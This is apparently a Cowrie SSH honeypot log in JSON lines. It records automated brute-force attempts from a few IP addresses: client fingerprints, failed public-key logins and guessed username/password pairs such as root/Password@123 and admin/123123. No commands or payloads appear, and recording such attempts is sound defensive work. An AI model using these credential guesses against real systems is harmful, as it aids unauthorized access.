{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1b:fe:88:8b:1e:05:f3:f4:66:46:b7:54:9b:77:e7:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjW9/pxOrsDXEWgGvIU6H2kLM7lIuAYeGlrsviImkMXIQhmP3+J/exTg+DHH5fElGpfRCrQqGnmt7kpaVmO7tDFPEC9d5/uPtUkD5zCV3BBHz6kQaazQmLmJLVS4AjiRKU0mTlLWUIdM1G85oi3zmku6OJDgZ/IM4VAl2l0Xj97SvlWKllaDtrFGQRiiZ8XX63VKRinr2I+eKCYY/nbp/Wmn1VZorePCpm6K7plUvZCHn+s2ac1icUSNn5r7bpJkOVSUU/8ZhrgNddgqaEiEDajRwzejw/A3UgkAQHycZZNqytpYnOVlKjk67fz+aExzt0pMWZbFpzmtSgU94X9v9N","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:45.438028Z","src_ip":"143.198.153.185","session":"5b86a578a214","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"55:91:2b:49:13:f6:d2:92:f2:20:71:2a:20:56:17:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuU1I7XSjuaUQigNTqOP3B50u9xsS3zGbC12wjlmd+agTq3GzNA+0bwgDSb/LMWIcYn6dO6SM56k+npbDE/drTo8AtycjP2eYHXpJP1SCRy/Kv0mHDiXYd8Ccq0aN57B/AoOvZBP37EJlgmmOYAwG4eDgAphbXVGPgO5Gtq6/6LXv9pUDDGnjLPPdgR4jtSxLfalBoCBDrYX5TgKUgLv34sW6vAkBTWcISOKKxNWtd+77rQsHuBgrGkacs2Ph7S/08INPzuLbLPqTCTdquDUM5NPPy7xAVblftFqaeL5vTx+V3XzPaGwdWhb9xjoZ4kTRhgP25B01wKw97M1nfO7wPQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 55:91:2b:49:13:f6:d2:92:f2:20:71:2a:20:56:17:d3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:45.513171Z","src_ip":"143.198.153.185","session":"5b86a578a214","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"55:91:2b:49:13:f6:d2:92:f2:20:71:2a:20:56:17:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuU1I7XSjuaUQigNTqOP3B50u9xsS3zGbC12wjlmd+agTq3GzNA+0bwgDSb/LMWIcYn6dO6SM56k+npbDE/drTo8AtycjP2eYHXpJP1SCRy/Kv0mHDiXYd8Ccq0aN57B/AoOvZBP37EJlgmmOYAwG4eDgAphbXVGPgO5Gtq6/6LXv9pUDDGnjLPPdgR4jtSxLfalBoCBDrYX5TgKUgLv34sW6vAkBTWcISOKKxNWtd+77rQsHuBgrGkacs2Ph7S/08INPzuLbLPqTCTdquDUM5NPPy7xAVblftFqaeL5vTx+V3XzPaGwdWhb9xjoZ4kTRhgP25B01wKw97M1nfO7wPQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:45.516095Z","src_ip":"143.198.153.185","session":"5b86a578a214","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f4:4c:ea:92:bb:4d:76:23:15:4b:3b:48:0d:50:df:7f","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAL6mxsUDDn2HdJWWNu1dhgWVkkeZwK3+aH9xcu8R1APTK2LXOUWIeVOODQoImtHILAP2RTghsmajTm707/I8e8ERPxNxVjnqruAzWR+4tEFgfTYmk7h6Ep40k7oisVIV5IYtSt5bxYmvbViV7YAtAhTBCmBx2l8IowfxikTZ3tsjAAAAFQCOrIZUvkApKL/ACHAqE1LJEnbMGwAAAIAhgY4nA0I9XH6R1rL4SDX5nGeYT9H/vq6h8D1EJNF+hHe5lFFGOuwzFTnwd1TXjkL/tEA0Fwj1m/GXAnJS/iv8IolXrVoNyi+8WJqimvYCfH+2YnD0TFbz/tyShsZzEcw4gg0HeXn/gIcoF2enVlI6LIMqmUgEZv1P05+74UKwMwAAAIAOQCfVru84QQ1VJTP8lLVVHqBOmtjlT6N1vJqnIvnrFsrkktuBtYJIAtAqpmKj2uWDOrqSVflFavOYg24RoFmlYTGT2TpHzoGcD+mUoL9AikkhYe+mVNpDYmRxxiVB7c5CiG7Dft/55BE76sMkjlFW/ebUmIvWFSxr16PGQY6Vnw==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint f4:4c:ea:92:bb:4d:76:23:15:4b:3b:48:0d:50:df:7f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:45.591696Z","src_ip":"143.198.153.185","session":"5b86a578a214","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f4:4c:ea:92:bb:4d:76:23:15:4b:3b:48:0d:50:df:7f","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAL6mxsUDDn2HdJWWNu1dhgWVkkeZwK3+aH9xcu8R1APTK2LXOUWIeVOODQoImtHILAP2RTghsmajTm707/I8e8ERPxNxVjnqruAzWR+4tEFgfTYmk7h6Ep40k7oisVIV5IYtSt5bxYmvbViV7YAtAhTBCmBx2l8IowfxikTZ3tsjAAAAFQCOrIZUvkApKL/ACHAqE1LJEnbMGwAAAIAhgY4nA0I9XH6R1rL4SDX5nGeYT9H/vq6h8D1EJNF+hHe5lFFGOuwzFTnwd1TXjkL/tEA0Fwj1m/GXAnJS/iv8IolXrVoNyi+8WJqimvYCfH+2YnD0TFbz/tyShsZzEcw4gg0HeXn/gIcoF2enVlI6LIMqmUgEZv1P05+74UKwMwAAAIAOQCfVru84QQ1VJTP8lLVVHqBOmtjlT6N1vJqnIvnrFsrkktuBtYJIAtAqpmKj2uWDOrqSVflFavOYg24RoFmlYTGT2TpHzoGcD+mUoL9AikkhYe+mVNpDYmRxxiVB7c5CiG7Dft/55BE76sMkjlFW/ebUmIvWFSxr16PGQY6Vnw==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:45.594885Z","src_ip":"143.198.153.185","session":"5b86a578a214","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:45.674057Z","src_ip":"143.198.153.185","session":"5b86a578a214","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46784,"dst_ip":"10.17.0.5","dst_port":22,"session":"851c24f81395","protocol":"ssh","message":"New connection: 192.109.200.78:46784 (10.17.0.5:22) [session: 851c24f81395]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:46.685257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:46.809818Z","src_ip":"192.109.200.78","session":"851c24f81395","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:46.813389Z","src_ip":"192.109.200.78","session":"851c24f81395","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password@123","message":"login attempt [root/Password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:47.140643Z","src_ip":"192.109.200.78","session":"851c24f81395","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:48.224626Z","src_ip":"192.109.200.78","session":"851c24f81395","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46794,"dst_ip":"10.17.0.5","dst_port":22,"session":"4347970c2d07","protocol":"ssh","message":"New connection: 192.109.200.78:46794 (10.17.0.5:22) [session: 4347970c2d07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:50.297715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:50.301129Z","src_ip":"192.109.200.78","session":"4347970c2d07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:50.381334Z","src_ip":"192.109.200.78","session":"4347970c2d07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123123","message":"login attempt [admin/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:50.627264Z","src_ip":"192.109.200.78","session":"4347970c2d07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:51.711614Z","src_ip":"192.109.200.78","session":"4347970c2d07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36004,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c7b2f54c737","protocol":"ssh","message":"New connection: 192.109.200.78:36004 (10.17.0.5:22) [session: 6c7b2f54c737]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:53.690271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:53.694505Z","src_ip":"192.109.200.78","session":"6c7b2f54c737","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:53.777160Z","src_ip":"192.109.200.78","session":"6c7b2f54c737","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aiuser","password":"aiuser","message":"login attempt [aiuser/aiuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:54.026299Z","src_ip":"192.109.200.78","session":"6c7b2f54c737","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:55.111881Z","src_ip":"192.109.200.78","session":"6c7b2f54c737","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.5.11","src_port":45530,"dst_ip":"10.17.0.5","dst_port":22,"session":"898507178f26","protocol":"ssh","message":"New connection: 45.79.5.11:45530 (10.17.0.5:22) [session: 898507178f26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:57.111202Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:57.115913Z","src_ip":"45.79.5.11","session":"898507178f26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:57.119009Z","src_ip":"45.79.5.11","session":"898507178f26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36006,"dst_ip":"10.17.0.5","dst_port":22,"session":"a56f69d9b2c9","protocol":"ssh","message":"New connection: 192.109.200.78:36006 (10.17.0.5:22) [session: a56f69d9b2c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:57.325752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:57.377609Z","src_ip":"192.109.200.78","session":"a56f69d9b2c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:57.419489Z","src_ip":"192.109.200.78","session":"a56f69d9b2c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mohammad","password":"mohammad","message":"login attempt [mohammad/mohammad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:57.732328Z","src_ip":"192.109.200.78","session":"a56f69d9b2c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:58.817164Z","src_ip":"192.109.200.78","session":"a56f69d9b2c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36014,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb925614ba5f","protocol":"ssh","message":"New connection: 192.109.200.78:36014 (10.17.0.5:22) [session: fb925614ba5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:00.857265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:00.862166Z","src_ip":"192.109.200.78","session":"fb925614ba5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:00.950998Z","src_ip":"192.109.200.78","session":"fb925614ba5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345","message":"login attempt [root/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:01.200633Z","src_ip":"192.109.200.78","session":"fb925614ba5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:02.285395Z","src_ip":"192.109.200.78","session":"fb925614ba5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36594,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6fb1b5bcdaa","protocol":"ssh","message":"New connection: 192.109.200.78:36594 (10.17.0.5:22) [session: e6fb1b5bcdaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:04.227584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:04.233932Z","src_ip":"192.109.200.78","session":"e6fb1b5bcdaa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:04.318927Z","src_ip":"192.109.200.78","session":"e6fb1b5bcdaa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"operator","password":"operator2026","message":"login attempt [operator/operator2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:04.568380Z","src_ip":"192.109.200.78","session":"e6fb1b5bcdaa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:05.668017Z","src_ip":"192.109.200.78","session":"e6fb1b5bcdaa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36614,"dst_ip":"10.17.0.5","dst_port":22,"session":"576474576489","protocol":"ssh","message":"New connection: 192.109.200.78:36614 (10.17.0.5:22) [session: 576474576489]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:07.919095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:07.923829Z","src_ip":"192.109.200.78","session":"576474576489","protocol":"ssh"}
